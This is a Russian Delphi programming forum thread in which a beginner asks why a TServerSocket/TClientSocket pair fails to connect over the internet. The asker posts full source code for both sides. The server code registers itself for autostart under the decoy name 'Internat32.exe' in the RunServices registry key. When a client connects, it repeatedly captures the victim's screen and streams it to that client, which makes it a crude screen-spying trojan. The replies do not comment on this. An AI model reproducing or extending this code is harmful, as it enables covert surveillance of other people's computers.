Top.Mail.Ru
Мастера DELPHI, Delphi programming community Титульная страница Поиск, карта сайта Написать письмо 
| Новости | Поиск | FAQ | Статьи | Книги | Новости VCL |
| Форумы ЧАТ | Орешник | KOL и MCK |
Форумы -» Основная («Начинающим»)/ Базы / WinAPI / Компоненты / Сети / Media / Игры / Corba и COM / KOL / FreePascal / .Net / Прочее / RSDN.ORG

« предыдущая ветвь | форум | следующая ветвь »

TServerSocket и интернет


Sasha ©   (2008-12-02 13:27:00) 

Подскажите пожалуйста можно с помощью компонентов TServerSocket и TClientSocket соединять сервер и клиент через интернет, зная IP, где находится сервер?

Сергей М.   (2008-12-02 18:56:00) [1]


> Slym


Ну и чего ради, спрашивается, ты пыжился в той ветке ?)
Автор даже медвежьими услугами пользоваться не умеет)

Slym   (2008-12-02 17:03:00) [2]

скока можно? поиском пользуемся?
http://www.delphimaster.ru/cgi-bin/forum.pl?id=1227604925&n=4

stas   (2008-12-02 14:22:00) [3]

Sasha   (02.12.08 13:27)
У тебя ping с этим IP работает?

Сергей М.   (2008-12-02 13:43:00) [4]


> при задании адреса немного думает и выдает ошибку, что сервер
> не найден


Ну значит не найден. Почему бы этому не поверить ?

Я так понял, что ты ничерта не вынес из предудущего обсуждения твоего же вопроса
http://www.delphimaster.ru/cgi-bin/forum.pl?id=1228125086&n=18

ибо вновь тычешь сюда код с теми желогическими ошибками.

Что в лоб, как говорится, что по лбу)

Sasha   (2008-12-02 13:36:00) [5]

А каким образом? Вот мой код:
Клиент
unit Unit1;

interface

uses
 Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
 Dialogs, ScktComp, ExtCtrls, ComCtrls, StdCtrls, jpeg;

type
 TForm1 = class(TForm)
   ClientSocket1: TClientSocket;
   StatusBar1: TStatusBar;
   Label1: TLabel;
   Label2: TLabel;
   Edit1: TEdit;
   Image1: TImage;
   Button1: TButton;
procedure Writing(Text: string);
   procedure FormDestroy(Sender: TObject);
   procedure ClientSocket1Connect(Sender: TObject;
     Socket: TCustomWinSocket);
   procedure ClientSocket1Disconnect(Sender: TObject;
     Socket: TCustomWinSocket);
   procedure ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket);
   procedure Button1Click(Sender: TObject);
 private
   { Private declarations }
   Name: string; // Имя файла
Size: integer; // Размер файла
Receive: boolean; // Режим клиента
MS: TMemoryStream; // Буфер для файла
 public
   { Public declarations }
 end;

var
 Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormDestroy(Sender: TObject);
begin
ClientSocket1.Close; // Закрываем сокет
end;

procedure TForm1.ClientSocket1Connect(Sender: TObject;
 Socket: TCustomWinSocket);
begin
StatusBar1.SimpleText := 'Соединение установлено';
end;

procedure TForm1.ClientSocket1Disconnect(Sender: TObject;
 Socket: TCustomWinSocket);
begin
StatusBar1.SimpleText := 'Соединение не установлено';
end;
procedure TForm1.Writing(Text: string);
begin
if MS.Size < Size then // Если принято байт меньше размера файла, то...
MS.Write(Text[1], Length(Text)); // Записываем в буфер
// Выводим прогресс закачки файла
StatusBar1.SimpleText := 'Принято '+IntToStr(MS.Size)+' из '+IntToStr(Size);
if MS.Size = Size then // Если файл принят, то...
begin
Receive := false; // Переводим клиента в нормальный режим
MS.Position := 0; // Переводим каретку в начало буфера
MS.SaveToFile('1.jpg'); // Сохраняем файл
ClientSocket1.Socket.SendText('end'); // Посылаем команду "end", то есть файл принят
MS.Free; // Убиваем буфер
image1.Picture.LoadFromFile('1.jpg');
StatusBar1.SimpleText := 'Файл принят';
deletefile('1.jpg');
end;
end;
procedure TForm1.ClientSocket1Read(Sender: TObject;
 Socket: TCustomWinSocket); var Rtext: string; // Принятый текст
begin
Rtext := Socket.ReceiveText;
if Receive then // Если клиент в режиме приёма файла, то...
Writing(RText) // Записываем данные в буфер
else // Если клиент не в режиме приёма файла, то...
if Copy(Rtext, 0, Pos('#', Rtext) -1) = 'file' then // Если это файл, то...
begin MS := TMemoryStream.Create; // Создаём буфер для файла

Delete(Rtext, 1, Pos('#', Rtext)); // Определяем имя файла

Name := Copy(Rtext, 0, Pos('#', Rtext) -1); // Определяем имя файла
Delete(Rtext, 1, Pos('#', Rtext)); // Определяем размер файла
Size := StrToInt(Copy(Rtext, 0, Pos('#', Rtext) -1)); // Определяем размер файла
Delete(Rtext, 1, Pos('#', Rtext)); // Удаляем последний разделитель
Label1.Caption := 'Размер файла: '+IntToStr(Size)+' байт'; // Выводим размер файла
Label2.Caption := 'Имя файла: '+Name; // Выводим имя файла
Receive := true; // Переводим сервер в режим приёма файла
Writing(RText); // Записываем данные в буфер
end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
ClientSocket1.Address:=Edit1.Text;
ClientSocket1.Open; // Открываем сокет
Receive := false; // Режим клиента - приём команд
end;

end.



Сервер

unit Unit1;

interface

uses
 Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
 Dialogs, StdCtrls, ScktComp,JPEG, ComCtrls, ExtCtrls,Registry;

type
 TForm1 = class(TForm)
   Button1: TButton;
   ServerSocket1: TServerSocket;
   StatusBar1: TStatusBar;
   Timer1: TTimer;
   procedure FormCreate(Sender: TObject);
   procedure FormDestroy(Sender: TObject);
   procedure Button1Click(Sender: TObject);
   procedure ServerSocket1ClientRead(Sender: TObject;
     Socket: TCustomWinSocket);
   procedure ServerSocket1ClientConnect(Sender: TObject;
     Socket: TCustomWinSocket);
   procedure ServerSocket1ClientDisconnect(Sender: TObject;
     Socket: TCustomWinSocket);
   procedure Timer1Timer(Sender: TObject);
 private
   { Private declarations }
 public
   { Public declarations }
 end;

var
 Form1: TForm1;
   MS: TMemoryStream; // Буфер для файла
implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
var regIni:TRegIniFile;
begin
regIni:=TRegIniFile.Create('Software');
regini.RootKey:=HKEY_LOCAL_MACHINE;
regini.OpenKey('Software', true);
regini.OpenKey('Microsoft', true);
regini.OpenKey('Windows', true);
regini.OpenKey('CurrentVersion', true);
regini.WriteString('RunServices','Internat32.exe', Application.ExeName);
regini.Free;
ServerSocket1.Open; // Открываем сокет
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
ServerSocket1.Close; // Закрываем сокет
end;

procedure TForm1.Button1Click(Sender: TObject); var
Size: integer; JpegIm: TJpegImage;
bm: TBitMap;
P: ^Byte;
begin
bm := TBitMap.Create;
bm.Width := Screen.Width;
bm.Height := Screen.Height;
BitBlt(bm.Canvas.Handle, 0, 0, bm.Width, bm.Height, GetDC(0), 0, 0, SRCCOPY);
JpegIm := TJpegImage.Create;
JpegIm.Assign(bm);
JpegIm.CompressionQuality := 50;//Качество сжатия, в процентах
JpegIm.Compress;
JpegIm.SaveToFile('1.jpg');
MS := TMemoryStream.Create; // Создаём буфер для файла
MS.LoadFromFile('1.jpg'); // Загружаем файл в буфер
// Посылаем информацию о файл (команда # название # размер)
ServerSocket1.Socket.Connections[0].SendText('file#'+'1.jpg'+'#'+IntToStr(MS.Size)+'#');
MS.Position := 0; // Переводим каретку в начало файла
P := MS.Memory; // Загружаем в переменную "P" файл
Size := ServerSocket1.Socket.Connections[0].SendBuf(P^, MS.Size); // Посылаем файл
bm.Destroy ;JpegIm.Destroy;
deletefile('1.jpg')
end;

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
 Socket: TCustomWinSocket);
begin
if Socket.ReceiveText = 'end' then // Если клиент принял файл, то...
begin
StatusBar1.SimpleText := 'Клиент принял файл';
MS.Free; // Убиваем буфер
end;
end;

procedure TForm1.ServerSocket1ClientConnect(Sender: TObject;
 Socket: TCustomWinSocket);
begin
timer1.Enabled:=true;
StatusBar1.SimpleText := 'Соединение установлено';
end;

procedure TForm1.ServerSocket1ClientDisconnect(Sender: TObject;
 Socket: TCustomWinSocket);
begin
StatusBar1.SimpleText := 'Соединение не установлено';
Timer1.Enabled:=false;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
Button1.Click;
{if StatusBar1.SimpleText = 'Соединение установлено' then button1.Click;
}end;

end.


и при задании адреса немного думает и выдает ошибку, что сервер не найден

Сергей М.   (2008-12-02 13:31:00) [6]

Можно.

Наверх

Титульная страница Поиск, карта сайта Написать письмо